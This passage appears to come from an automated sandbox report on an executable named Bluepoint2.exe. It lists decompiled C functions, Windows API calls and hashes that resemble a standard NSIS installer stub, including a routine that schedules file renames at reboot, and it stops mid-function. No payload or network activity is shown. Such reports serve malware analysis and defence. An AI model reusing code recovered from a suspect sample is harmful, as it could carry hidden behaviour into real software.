                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CreateInstance
                                                    • String ID:
                                                    • API String ID: 542301482-0
                                                    • Opcode ID: 077b7362f6a1d4038be91bf7f4b9e5842d68daf9de23732b557fb751e09ce78c
                                                    • Instruction ID: f110e38d5ccd8909b9e85e2ea6b1342c5fae2602ce40754bea02e3b472428d32
                                                    • Opcode Fuzzy Hash: 077b7362f6a1d4038be91bf7f4b9e5842d68daf9de23732b557fb751e09ce78c
                                                    • Instruction Fuzzy Hash: BC411771A00209EFCF40DFE4C989E9D7BB5BF49304B20456AF505EB2D1DB799981CB94
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 39%
                                                    			E0040290B(short __ebx, short* __edi) {
                                                    				void* _t21;
                                                    
                                                    				if(FindFirstFileW(E00402DA6(2), _t21 - 0x2dc) != 0xffffffff) {
                                                    					E004065AF( *((intOrPtr*)(_t21 - 0xc)), _t8);
                                                    					_push(_t21 - 0x2b0);
                                                    					_push(__edi);
                                                    					E00406668();
                                                    				} else {
                                                    					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
                                                    					 *__edi = __ebx;
                                                    					 *((intOrPtr*)(_t21 - 4)) = 1;
                                                    				}
                                                    				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t21 - 4));
                                                    				return 0;
                                                    			}




                                                    0x00402923
                                                    0x0040293e
                                                    0x00402949
                                                    0x0040294a
                                                    0x00402a94
                                                    0x00402925
                                                    0x00402928
                                                    0x0040292b
                                                    0x0040292e
                                                    0x0040292e
                                                    0x00402c2d
                                                    0x00402c39

                                                    APIs
                                                    • FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291A
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: FileFindFirst
                                                    • String ID:
                                                    • API String ID: 1974802433-0
                                                    • Opcode ID: b2f27a8a5f9b700f187602bb898c1293859530a573ae52e9df8ecc114fa703e5
                                                    • Instruction ID: b84bdfeecc4e8c0803ac0e71b8711fc90ef1d688bdc4be786e729a17b55638d3
                                                    • Opcode Fuzzy Hash: b2f27a8a5f9b700f187602bb898c1293859530a573ae52e9df8ecc114fa703e5
                                                    • Instruction Fuzzy Hash: 47F05E71A04105EBDB01DBB4EE49AAEB378EF14314F60457BE101F21D0E7B88E529B29
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 91%
                                                    			E00404783(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
                                                    				intOrPtr _v8;
                                                    				int _v12;
                                                    				void* _v16;
                                                    				struct HWND__* _t56;
                                                    				signed int _t75;
                                                    				signed short* _t76;
                                                    				signed short* _t78;
                                                    				long _t92;
                                                    				int _t103;
                                                    				signed int _t110;
                                                    				intOrPtr _t113;
                                                    				WCHAR* _t114;
                                                    				signed int* _t116;
                                                    				WCHAR* _t117;
                                                    				struct HWND__* _t118;
                                                    
                                                    				if(_a8 != 0x110) {
                                                    					if(_a8 != 0x111) {
                                                    						L13:
                                                    						if(_a8 != 0x4e) {
                                                    							if(_a8 == 0x40b) {
                                                    								 *0x421714 =  *0x421714 + 1;
                                                    							}
                                                    							L27:
                                                    							_t114 = _a16;
                                                    							L28:
                                                    							return E0040462B(_a8, _a12, _t114);
                                                    						}
                                                    						_t56 = GetDlgItem(_a4, 0x3e8);
                                                    						_t114 = _a16;
                                                    						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
                                                    							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
                                                    							_t113 =  *((intOrPtr*)(_t114 + 0x18));
                                                    							_v12 = _t103;
                                                    							_v16 = _t113;
                                                    							_v8 = 0x428200;
                                                    							if(_t103 - _t113 < 0x800) {
                                                    								SendMessageW(_t56, 0x44b, 0,  &_v16);
                                                    								SetCursor(LoadCursorW(0, 0x7f02));
                                                    								_push(1);
                                                    								E00404A32(_a4, _v8);
                                                    								SetCursor(LoadCursorW(0, 0x7f00));
                                                    								_t114 = _a16;
                                                    							}
                                                    						}
                                                    						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
                                                    							goto L28;
                                                    						} else {
                                                    							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
                                                    								SendMessageW( *0x42a268, 0x111, 1, 0);
                                                    							}
                                                    							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
                                                    								SendMessageW( *0x42a268, 0x10, 0, 0);
                                                    							}
                                                    							return 1;
                                                    						}
                                                    					}
                                                    					if(_a12 >> 0x10 != 0 ||  *0x421714 != 0) {
                                                    						goto L27;
                                                    					} else {
                                                    						_t116 =  *0x422720 + 0x14;
                                                    						if(( *_t116 & 0x00000020) == 0) {
                                                    							goto L27;
                                                    						}
                                                    						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
                                                    						E004045E6(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
                                                    						E00404A0E();
                                                    						goto L13;
                                                    					}
                                                    				}
                                                    				_t117 = _a16;
                                                    				_t75 =  *(_t117 + 0x30);
                                                    				if(_t75 < 0) {
                                                    					_t75 =  *( *0x42923c - 4 + _t75 * 4);
                                                    				}
                                                    				_t76 =  *0x42a298 + _t75 * 2;
                                                    				_t110 =  *_t76 & 0x0000ffff;
                                                    				_a8 = _t110;
                                                    				_t78 =  &(_t76[1]);
                                                    				_a16 = _t78;
                                                    				_v16 = _t78;
                                                    				_v12 = 0;
                                                    				_v8 = E00404734;
                                                    				if(_t110 != 2) {
                                                    					_v8 = E004046FA;
                                                    				}
                                                    				_push( *((intOrPtr*)(_t117 + 0x34)));
                                                    				_push(0x22);
                                                    				E004045C4(_a4);
                                                    				_push( *((intOrPtr*)(_t117 + 0x38)));
                                                    				_push(0x23);
                                                    				E004045C4(_a4);
                                                    				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
                                                    				E004045E6( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
                                                    				_t118 = GetDlgItem(_a4, 0x3e8);
                                                    				E004045F9(_t118);
                                                    				SendMessageW(_t118, 0x45b, 1, 0);
                                                    				_t92 =  *( *0x42a270 + 0x68);
                                                    				if(_t92 < 0) {
                                                    					_t92 = GetSysColor( ~_t92);
                                                    				}
                                                    				SendMessageW(_t118, 0x443, 0, _t92);
                                                    				SendMessageW(_t118, 0x445, 0, 0x4010000);
                                                    				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
                                                    				 *0x421714 = 0;
                                                    				SendMessageW(_t118, 0x449, _a8,  &_v16);
                                                    				 *0x421714 = 0;
                                                    				return 0;
                                                    			}


















                                                    0x00404795
                                                    0x004048c2
                                                    0x0040491f
                                                    0x00404923
                                                    0x004049f0
                                                    0x004049f2
                                                    0x004049f2
                                                    0x004049f8
                                                    0x004049f8
                                                    0x004049fb
                                                    0x00000000
                                                    0x00404a02
                                                    0x00404931
                                                    0x00404937
                                                    0x00404941
                                                    0x0040494c
                                                    0x0040494f
                                                    0x00404952
                                                    0x0040495d
                                                    0x00404960
                                                    0x00404967
                                                    0x00404974
                                                    0x00404985
                                                    0x0040498b
                                                    0x00404993
                                                    0x004049a1
                                                    0x004049a7
                                                    0x004049a7
                                                    0x00404967
                                                    0x004049b1
                                                    0x00000000
                                                    0x004049bc
                                                    0x004049c0
                                                    0x004049d0
                                                    0x004049d0
                                                    0x004049d6
                                                    0x004049e2
                                                    0x004049e2
                                                    0x00000000
                                                    0x004049e6
                                                    0x004049b1
                                                    0x004048cd
                                                    0x00000000
                                                    0x004048df
                                                    0x004048e4
                                                    0x004048ea
                                                    0x00000000
                                                    0x00000000
                                                    0x00404913
                                                    0x00404915
                                                    0x0040491a
                                                    0x00000000
                                                    0x0040491a
                                                    0x004048cd
                                                    0x0040479b
                                                    0x0040479e
                                                    0x004047a3
                                                    0x004047b4
                                                    0x004047b4
                                                    0x004047bc
                                                    0x004047bf
                                                    0x004047c3
                                                    0x004047c6
                                                    0x004047ca
                                                    0x004047cd
                                                    0x004047d0
                                                    0x004047d3
                                                    0x004047da
                                                    0x004047dc
                                                    0x004047dc
                                                    0x004047e6
                                                    0x004047f3
                                                    0x004047fd
                                                    0x00404802
                                                    0x00404805
                                                    0x0040480a
                                                    0x00404821
                                                    0x00404828
                                                    0x0040483b
                                                    0x0040483e
                                                    0x00404852
                                                    0x00404859
                                                    0x0040485e
                                                    0x00404863
                                                    0x00404863
                                                    0x00404871
                                                    0x0040487f
                                                    0x00404891
                                                    0x00404896
                                                    0x004048a6
                                                    0x004048a8
                                                    0x00000000

                                                    APIs
                                                    • CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404821
                                                    • GetDlgItem.USER32 ref: 00404835
                                                    • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404852
                                                    • GetSysColor.USER32(?), ref: 00404863
                                                    • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404871
                                                    • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040487F
                                                    • lstrlenW.KERNEL32(?), ref: 00404884
                                                    • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404891
                                                    • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004048A6
                                                    • GetDlgItem.USER32 ref: 004048FF
                                                    • SendMessageW.USER32(00000000), ref: 00404906
                                                    • GetDlgItem.USER32 ref: 00404931
                                                    • SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404974
                                                    • LoadCursorW.USER32(00000000,00007F02), ref: 00404982
                                                    • SetCursor.USER32(00000000), ref: 00404985
                                                    • LoadCursorW.USER32(00000000,00007F00), ref: 0040499E
                                                    • SetCursor.USER32(00000000), ref: 004049A1
                                                    • SendMessageW.USER32(00000111,00000001,00000000), ref: 004049D0
                                                    • SendMessageW.USER32(00000010,00000000,00000000), ref: 004049E2
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
                                                    • String ID: Call$N
                                                    • API String ID: 3103080414-3438112850
                                                    • Opcode ID: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
                                                    • Instruction ID: 690b4d321b533a2a97605fa3f7bb2423a24794fe1ec6c961d913f822d5f12d1b
                                                    • Opcode Fuzzy Hash: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
                                                    • Instruction Fuzzy Hash: AB6181F1900209FFDB109F61CD85A6A7B69FB84304F00813AF705B62E0C7799951DFA9
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E004062AE(void* __ecx) {
                                                    				void* __ebx;
                                                    				void* __edi;
                                                    				void* __esi;
                                                    				long _t12;
                                                    				long _t24;
                                                    				char* _t31;
                                                    				int _t37;
                                                    				void* _t38;
                                                    				intOrPtr* _t39;
                                                    				long _t42;
                                                    				WCHAR* _t44;
                                                    				void* _t46;
                                                    				void* _t48;
                                                    				void* _t49;
                                                    				void* _t52;
                                                    				void* _t53;
                                                    
                                                    				_t38 = __ecx;
                                                    				_t44 =  *(_t52 + 0x14);
                                                    				 *0x426de8 = 0x55004e;
                                                    				 *0x426dec = 0x4c;
                                                    				if(_t44 == 0) {
                                                    					L3:
                                                    					_t2 = _t52 + 0x1c; // 0x4275e8
                                                    					_t12 = GetShortPathNameW( *_t2, 0x4275e8, 0x400);
                                                    					if(_t12 != 0 && _t12 <= 0x400) {
                                                    						_t37 = wsprintfA(0x4269e8, "%ls=%ls\r\n", 0x426de8, 0x4275e8);
                                                    						_t53 = _t52 + 0x10;
                                                    						E004066A5(_t37, 0x400, 0x4275e8, 0x4275e8,  *((intOrPtr*)( *0x42a270 + 0x128)));
                                                    						_t12 = E00406158(0x4275e8, 0xc0000000, 4);
                                                    						_t48 = _t12;
                                                    						 *(_t53 + 0x18) = _t48;
                                                    						if(_t48 != 0xffffffff) {
                                                    							_t42 = GetFileSize(_t48, 0);
                                                    							_t6 = _t37 + 0xa; // 0xa
                                                    							_t46 = GlobalAlloc(0x40, _t42 + _t6);
                                                    							if(_t46 == 0 || E004061DB(_t48, _t46, _t42) == 0) {
                                                    								L18:
                                                    								return CloseHandle(_t48);
                                                    							} else {
                                                    								if(E004060BD(_t38, _t46, "[Rename]\r\n") != 0) {
                                                    									_t49 = E004060BD(_t38, _t21 + 0xa, "\n[");
                                                    									if(_t49 == 0) {
                                                    										_t48 =  *(_t53 + 0x18);
                                                    										L16:
                                                    										_t24 = _t42;
                                                    										L17:
                                                    										E00406113(_t24 + _t46, 0x4269e8, _t37);
                                                    										SetFilePointer(_t48, 0, 0, 0);
                                                    										E0040620A(_t48, _t46, _t42 + _t37);
                                                    										GlobalFree(_t46);
                                                    										goto L18;
                                                    									}
                                                    									_t39 = _t46 + _t42;
                                                    									_t31 = _t39 + _t37;
                                                    									while(_t39 > _t49) {
                                                    										 *_t31 =  *_t39;
                                                    										_t31 = _t31 - 1;
                                                    										_t39 = _t39 - 1;
                                                    									}
                                                    									_t24 = _t49 - _t46 + 1;
                                                    									_t48 =  *(_t53 + 0x18);
                                                    									goto L17;
                                                    								}
                                                    								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
                                                    								_t42 = _t42 + 0xa;
                                                    								goto L16;
                                                    							}
                                                    						}
                                                    					}
                                                    				} else {
                                                    					CloseHandle(E00406158(_t44, 0, 1));
                                                    					_t12 = GetShortPathNameW(_t44, 0x426de8, 0x400);
                                                    					if(_t12 != 0 && _t12 <= 0x400) {
                                                    						goto L3;
                                                    					}
                                                    				}
                                                    				return _t12;
                                                    			}



















                                                    0x004062ae
                                                    0x004062b7
                                                    0x004062be
                                                    0x004062c8
                                                    0x004062dc
                                                    0x00406304
                                                    0x0040630b
                                                    0x0040630f
                                                    0x00406313
                                                    0x00406333
                                                    0x0040633a
                                                    0x00406344
                                                    0x00406351
                                                    0x00406356
                                                    0x0040635b
                                                    0x0040635f
                                                    0x0040636e
                                                    0x00406370
                                                    0x0040637d
                                                    0x00406381
                                                    0x0040641c
                                                    0x00000000
                                                    0x00406397
                                                    0x004063a4
                                                    0x004063c8
                                                    0x004063cc
                                                    0x004063eb
                                                    0x004063ef
                                                    0x004063ef
                                                    0x004063f1
                                                    0x004063fa
                                                    0x00406405
                                                    0x00406410
                                                    0x00406416
                                                    0x00000000
                                                    0x00406416
                                                    0x004063ce
                                                    0x004063d1
                                                    0x004063dc
                                                    0x004063d8
                                                    0x004063da
                                                    0x004063db
                                                    0x004063db
                                                    0x004063e3
                                                    0x004063e5
                                                    0x00000000
                                                    0x004063e5
                                                    0x004063af
                                                    0x004063b5
                                                    0x00000000
                                                    0x004063b5
                                                    0x00406381
                                                    0x0040635f
                                                    0x004062de
                                                    0x004062e9
                                                    0x004062f2
                                                    0x004062f6
                                                    0x00000000
                                                    0x00000000
                                                    0x004062f6
                                                    0x00406427

                                                    APIs
                                                    • CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406449,?,?), ref: 004062E9
                                                    • GetShortPathNameW.KERNEL32 ref: 004062F2
                                                      • Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
                                                      • Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF
                                                    • GetShortPathNameW.KERNEL32 ref: 0040630F
                                                    • wsprintfA.USER32 ref: 0040632D
                                                    • GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406368
                                                    • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406377
                                                    • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063AF
                                                    • SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 00406405
                                                    • GlobalFree.KERNEL32 ref: 00406416
                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040641D
                                                      • Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\Bluepoint2.exe,80000000,00000003), ref: 0040615C
                                                      • Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
                                                    • String ID: %ls=%ls$[Rename]$mB$uB$uB
                                                    • API String ID: 2171350718-2295842750
                                                    • Opcode ID: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
                                                    • Instruction ID: df9b4e9fb9d32bd4c250032a1d399944af7a2e4c2f0bdec2b7d3959d12e60cc8
                                                    • Opcode Fuzzy Hash: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
                                                    • Instruction Fuzzy Hash: B8314331200315BBD2206B619D49F5B3AACEF85704F16003BFD02FA2C2EA7DD82186BD
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 90%
                                                    			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
                                                    				struct tagLOGBRUSH _v16;
                                                    				struct tagRECT _v32;
                                                    				struct tagPAINTSTRUCT _v96;
                                                    				struct HDC__* _t70;
                                                    				struct HBRUSH__* _t87;
                                                    				struct HFONT__* _t94;
                                                    				long _t102;
                                                    				signed int _t126;
                                                    				struct HDC__* _t128;
                                                    				intOrPtr _t130;
                                                    
                                                    				if(_a8 == 0xf) {
                                                    					_t130 =  *0x42a270;
                                                    					_t70 = BeginPaint(_a4,  &_v96);
                                                    					_v16.lbStyle = _v16.lbStyle & 0x00000000;
                                                    					_a8 = _t70;
                                                    					GetClientRect(_a4,  &_v32);
                                                    					_t126 = _v32.bottom;
                                                    					_v32.bottom = _v32.bottom & 0x00000000;
                                                    					while(_v32.top < _t126) {
                                                    						_a12 = _t126 - _v32.top;
                                                    						asm("cdq");
                                                    						asm("cdq");
                                                    						asm("cdq");
                                                    						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
                                                    						_t87 = CreateBrushIndirect( &_v16);
                                                    						_v32.bottom = _v32.bottom + 4;
                                                    						_a16 = _t87;
                                                    						FillRect(_a8,  &_v32, _t87);
                                                    						DeleteObject(_a16);
                                                    						_v32.top = _v32.top + 4;
                                                    					}
                                                    					if( *(_t130 + 0x58) != 0xffffffff) {
                                                    						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
                                                    						_a16 = _t94;
                                                    						if(_t94 != 0) {
                                                    							_t128 = _a8;
                                                    							_v32.left = 0x10;
                                                    							_v32.top = 8;
                                                    							SetBkMode(_t128, 1);
                                                    							SetTextColor(_t128,  *(_t130 + 0x58));
                                                    							_a8 = SelectObject(_t128, _a16);
                                                    							DrawTextW(_t128, 0x429260, 0xffffffff,  &_v32, 0x820);
                                                    							SelectObject(_t128, _a8);
                                                    							DeleteObject(_a16);
                                                    						}
                                                    					}
                                                    					EndPaint(_a4,  &_v96);
                                                    					return 0;
                                                    				}
                                                    				_t102 = _a16;
                                                    				if(_a8 == 0x46) {
                                                    					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
                                                    					 *((intOrPtr*)(_t102 + 4)) =  *0x42a268;
                                                    				}
                                                    				return DefWindowProcW(_a4, _a8, _a12, _t102);
                                                    			}













                                                    0x0040100a
                                                    0x00401039
                                                    0x00401047
                                                    0x0040104d
                                                    0x00401051
                                                    0x0040105b
                                                    0x00401061
                                                    0x00401064
                                                    0x004010f3
                                                    0x00401089
                                                    0x0040108c
                                                    0x004010a6
                                                    0x004010bd
                                                    0x004010cc
                                                    0x004010cf
                                                    0x004010d5
                                                    0x004010d9
                                                    0x004010e4
                                                    0x004010ed
                                                    0x004010ef
                                                    0x004010ef
                                                    0x00401100
                                                    0x00401105
                                                    0x0040110d
                                                    0x00401110
                                                    0x00401112
                                                    0x00401118
                                                    0x0040111f
                                                    0x00401126
                                                    0x00401130
                                                    0x00401142
                                                    0x00401156
                                                    0x00401160
                                                    0x00401165
                                                    0x00401165
                                                    0x00401110
                                                    0x0040116e
                                                    0x00000000
                                                    0x00401178
                                                    0x00401010
                                                    0x00401013
                                                    0x00401015
                                                    0x0040101f
                                                    0x0040101f
                                                    0x00000000

                                                    APIs
                                                    • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
                                                    • BeginPaint.USER32(?,?), ref: 00401047
                                                    • GetClientRect.USER32 ref: 0040105B
                                                    • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                    • FillRect.USER32 ref: 004010E4
                                                    • DeleteObject.GDI32(?), ref: 004010ED
                                                    • CreateFontIndirectW.GDI32(?), ref: 00401105
                                                    • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                                                    • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                    • SelectObject.GDI32(00000000,?), ref: 00401140
                                                    • DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
                                                    • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                    • DeleteObject.GDI32(?), ref: 00401165
                                                    • EndPaint.USER32(?,?), ref: 0040116E
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                    • String ID: F
                                                    • API String ID: 941294808-1304234792
                                                    • Opcode ID: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
                                                    • Instruction ID: e2f9fea5dfd6f059ba8eeb08e8d10ac227d01a2162b8a260283931f50cd0bfbf
                                                    • Opcode Fuzzy Hash: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
                                                    • Instruction Fuzzy Hash: 33418B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0C7349A55DFA4
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 72%
                                                    			E004066A5(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
                                                    				struct _ITEMIDLIST* _v8;
                                                    				signed int _v12;
                                                    				signed int _v16;
                                                    				signed int _v20;
                                                    				signed int _v24;
                                                    				signed int _v28;
                                                    				signed int _t44;
                                                    				WCHAR* _t45;
                                                    				signed char _t47;
                                                    				signed int _t48;
                                                    				short _t59;
                                                    				short _t61;
                                                    				short _t63;
                                                    				void* _t71;
                                                    				signed int _t77;
                                                    				signed int _t78;
                                                    				short _t81;
                                                    				short _t82;
                                                    				signed char _t84;
                                                    				signed int _t85;
                                                    				void* _t98;
                                                    				void* _t104;
                                                    				intOrPtr* _t105;
                                                    				void* _t107;
                                                    				WCHAR* _t108;
                                                    				void* _t110;
                                                    
                                                    				_t107 = __esi;
                                                    				_t104 = __edi;
                                                    				_t71 = __ebx;
                                                    				_t44 = _a8;
                                                    				if(_t44 < 0) {
                                                    					_t44 =  *( *0x42923c - 4 + _t44 * 4);
                                                    				}
                                                    				_push(_t71);
                                                    				_push(_t107);
                                                    				_push(_t104);
                                                    				_t105 =  *0x42a298 + _t44 * 2;
                                                    				_t45 = 0x428200;
                                                    				_t108 = 0x428200;
                                                    				if(_a4 >= 0x428200 && _a4 - 0x428200 >> 1 < 0x800) {
                                                    					_t108 = _a4;
                                                    					_a4 = _a4 & 0x00000000;
                                                    				}
                                                    				_t81 =  *_t105;
                                                    				_a8 = _t81;
                                                    				if(_t81 == 0) {
                                                    					L43:
